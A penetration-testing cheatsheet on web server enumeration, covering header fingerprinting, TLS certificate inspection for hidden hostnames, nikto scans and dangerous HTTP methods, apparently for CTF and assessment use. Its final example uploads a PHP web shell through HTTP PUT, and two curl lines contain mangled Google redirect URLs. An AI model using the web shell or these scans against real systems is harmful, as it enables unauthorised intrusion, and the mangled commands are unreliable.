Skip to content

Web Server Enumeration

This cheatsheet focuses strictly on the transport layer, web server daemon, and infrastructure misconfigurations. The goal is to extract banners, analyze SSL/TLS certificates for hidden subdomains, and identify server-level vulnerabilities before touching the application layer logic.

Server Fingerprinting & Headers

Identify the underlying web server (Apache, Nginx, IIS) and extract configuration details from HTTP headers.

Fetch headers (-I) and follow redirects (-L) to catch the final destination

curl -I -L https://www.google.com/url?sa=E&source=gmail&q=http://10.10.10.10

Force a non-existent method to see if the server leaks info in the 405/501 error

curl -X INVALID http://10.10.10.10

Aggressive fingerprinting for server versions, CMS, and HTTP headers 

whatweb -a 3 http://10.10.10.10

Enumerate server headers, supported methods, and default pages

nmap -sV -p 80,443 --script=http-headers,http-methods,http-server-header 10.10.10.10

SSL/TLS Enumeration

When targeting HTTPS (443, 8443), the SSL/TLS certificate is a goldmine for discovering hidden internal hostnames, staging environments, or alternate domains listed in the Subject Alternative Name (SAN) field.

Connect and dump the full certificate chain to inspect the CN and SAN fields

openssl s_client -connect 10.10.10.10:443 -showcerts </dev/null 2>/dev/null | openssl x509 -noout -text

Quickly view the certificate details during a standard request

curl -v https://10.10.10.10

Efficiency

If you find a new domain name (e.g., staging.target.thm) in the SSL certificate, immediately add it to your /etc/hosts file. Web servers often rely on Host-based routing to serve different applications on the same IP.

Server Misconfigurations

Scan for outdated web server daemons, default administrative pages, and dangerous HTTP methods (like PUT or TRACE).

Classic web server scanner. Highly effective for catching default CGI scripts and outdated Apache/IIS instances. 

nikto -h http://10.10.10.10 -Tuning 123

Test for the TRACE method (Cross-Site Tracing vulnerability)

curl -v -X TRACE https://www.google.com/url?sa=E&source=gmail&q=http://10.10.10.10

Test if PUT is enabled (Arbitrary File Upload at the server level)

curl -X PUT -d '<?php system($_GET["cmd"]); ?>' http://10.10.10.10/shell.php

Important

Nikto is incredibly noisy and will instantly trigger a WAF or IPS. Only use it in CTFs or assessments where stealth is explicitly out of scope.